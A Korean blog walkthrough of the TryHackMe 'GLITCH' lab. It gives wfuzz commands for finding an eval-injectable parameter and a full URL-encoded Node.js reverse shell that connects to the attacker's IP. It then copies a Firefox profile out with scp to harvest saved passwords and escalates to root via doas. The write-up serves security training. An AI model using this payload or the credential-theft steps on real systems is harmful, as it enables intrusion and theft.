Pentesting CTF/tryhackme

[Tryhackme] - GLITCH

Roronoa 2023. 4. 1. 04:53
반응형

문제 이름

[그림 1]  GLITCH 문제

https://tryhackme.com/room/glitch

위 사이트에 접속하면 해당 문제를 풀 수 있다.

정보 수집

[그림 2] target ip

대상 ip를 확인하였다.

 

[그림 3] 포트 스캐닝

포트 스캐닝을 진행을 하였고 80포트가 열려있어서 웹 사이트가 구동중이라고 생각을 하였다.

 

[그림 4] 80포트 웹 사이트 접속

80포트로 웹 사이트에 접속하니 아무것도 나타나지 않았다.

페이지 소스보기를 통해 해당 웹 페이지가 어떻게 구성되어 있는지 확인하였다.

 

[그림 5] 페이지 확인

페이지를 확인해보니 getAccess()라는 함수가 api를 호출하고 결과를 반환하는 것을 볼 수 있다. 하지만 getAccess()함수를 수행하는 부분이 없다.

 

[그림 6] 콘솔창 실행

콘솔창에서 해당 함수를 실행하니 토큰을 준다.

토큰 값 : dGhpc19pc19ub3RfcmVhbA==

토큰 값이 base64형태여서 원래대로 decode를 진행하였다.

 

[그림 7] base64 decode

decode를 하니 this_is_not_real이라는 토큰 값을 알게 되었다.

 

[그림 8] 토큰 값 입력

쿠키에 토큰 값을 해당 값으로 입력하였다.

 

[그림 9] F5 재시작

재시작을 하니 아까랑 다른 사이트가 나왔다.

 

[그림 10] history 확인

GET방식에서 POST로 변조를 하여 api를 호출하였다. 

파라미터의 이름을 구하기 위해서 퍼징을 진행하도록 한다.

 

[그림 11] 퍼징 wfuzz

wfuzz -z file,/usr/share/wordlists/wfuzz/general/common.txt -X POST -u http://10.10.128.194/api/items?FUZZ=test

해당 코드를 통해서 퍼징을 실시 하였다.

 

[그림 12] 퍼징

wfuzz -z file,/usr/share/wordlists/wfuzz/general/common.txt -X POST -u http://10.10.128.194/api/items?FUZZ=test --hc 400

400번 응답코드는 히든으로 숨겼더니 파라미터가 cmd일때 500의 응답을 받았다.

 

[그림 13] cmd파라미터 입력

cmd에 아무 값이나 넣어서 확인을 해보니 오류가 떴고 eval함수에 대해 오류이다.

오류를 검색해보니 node.js를 사용중인 것을 알 수 있었다.

eval 함수를 통해 리버스 쉘을 실행시킬 수 있다.

아래 사이트에서 리버스 쉘 코드를 만들었다.

https://www.revshells.com/

 

[그림 14] node.js 리버스 쉘

node.js로 리버스 쉘을 만들었다.

 

[그림 15] 리스닝 포트 열기

리스닝 포트를 열었다.

 

[그림 16] 리버스 쉘 실행

cmd 파라미터에 리버스 쉘 공격코드를 넣고 요청을 진행하였다.

리버스 쉘 공격 코드

%28function%28%29%7B%0D%0A%20%20%20%20var%20net%20%3D%20require%28%22net%22%29%2C%0D%0A%20%20%20%20%20%20%20%20cp%20%3D%20require%28%22child_process%22%29%2C%0D%0A%20%20%20%20%20%20%20%20sh%20%3D%20cp.spawn%28%22sh%22%2C%20%5B%5D%29%3B%0D%0A%20%20%20%20var%20client%20%3D%20new%20net.Socket%28%29%3B%0D%0A%20%20%20%20client.connect%289999%2C%20%2210.4.2.203%22%2C%20function%28%29%7B%0D%0A%20%20%20%20%20%20%20%20client.pipe%28sh.stdin%29%3B%0D%0A%20%20%20%20%20%20%20%20sh.stdout.pipe%28client%29%3B%0D%0A%20%20%20%20%20%20%20%20sh.stderr.pipe%28client%29%3B%0D%0A%20%20%20%20%7D%29%3B%0D%0A%20%20%20%20return%20%2Fa%2F%3B%20%2F%2F%20Prevents%20the%20Node.js%20application%20from%20crashing%0D%0A%7D%29%28%29%3B

 

[그림 17] 리버스쉘 성공

connect로 리버스 쉘이 성공하였다.

 

[그림 18] 인터랙티브 모드

인터랙티브 모드로 전환을 하였다.

 

[그림 19] setuid확인

setuid를 확인해보니 doas라는 명령어가 setuid로 설정이 되어있음을 확인하였다.

doas는 sudo와 비슷한 명령어로 다른 사람의 권한으로 명령어를 실행할 수 있다.

 

[그림 20] doas 명령어 실행

doas 명령어를 통해 쉘을 실행하려고 하였지만 권한이 허용되지 않았다.

 

[그림 21] doas 설정 파일 확인

doas 설정 파일의 위치를 확인 하였다.

 

[그림 22] doas 설정 파일 확인

doas 설정파일을 확인 하니 v0id 사용자가 root로 doas 명령어를 사용할 수 있다고 되어있다.

 

[그림 23] 홈디렉터리 이동

홈디렉터리에와서 .firefox 파일을 확인하였다.

 

[그림 24] default-release

default-release 디렉터리는 firefox의 프로필 디렉터리이다.

이것을 통해 이 사람이 쓰고있는 웹 브라우저를 그대로 가져올 수 있다.

 

[그림 25] tar 압축

tar로 압축을 진행하였다.

 

[그림 26] 압축 확인

압축을 확인하였다.

 

[그림 27] scp명령어로 공격자 ip로 해당 파일 전송

scp 명령어로 firefox 파일을 공격자에게 전송하였다.

 

[그림 28] 압축 해제

압축을 해제하였다.

 

[그림 29] 파일 확인

.firefox 디렉터리를 확인하였다.

 

[그림 30] firefox 실행

firefox 로 해당 프로필 디렉터리를 가져왔고 필요에 따라 다운그레이드를 하여서 실행하였다.

 

[그림 31] password확인

firefox에서 passwords 탭에 들어가서 다른 사이트에서 무슨 비밀번호를 썼는지 확인하였다.

비밀번호 : love_the_void

위 비밀번호를 쓴다는 것을 알 수 있고 크리덴셜 스터핑을 통해 해당 id로 접근이 가능한지 진행해보겠다.

 

[그림 32] 크리덴셜 스터핑

v0id의 id로 접속을 진행하고 password를 love_the_void를 입력하니 접근이 가능하였다.

 

[그림 33] doas 권한 상승

아까 v0id 계정이 doas로 root 권한으로 명령어를 실행 시킬 수 있었기 때문에 doas /bin/bash 명령어를 통하여 권한 상승을 진행하였다.

그 후 root 권한을 얻게 되었다.

반응형

'Pentesting CTF > tryhackme' 카테고리의 다른 글

[Tryhackme] - Basic Pentesting  (0) 2023.03.21
[Tryhackme] - RootMe  (1) 2023.03.20
[Tryhackme] - LazyAdmin  (0) 2022.10.27
Tryhackme OpenVPN 설정 방법  (0) 2022.10.26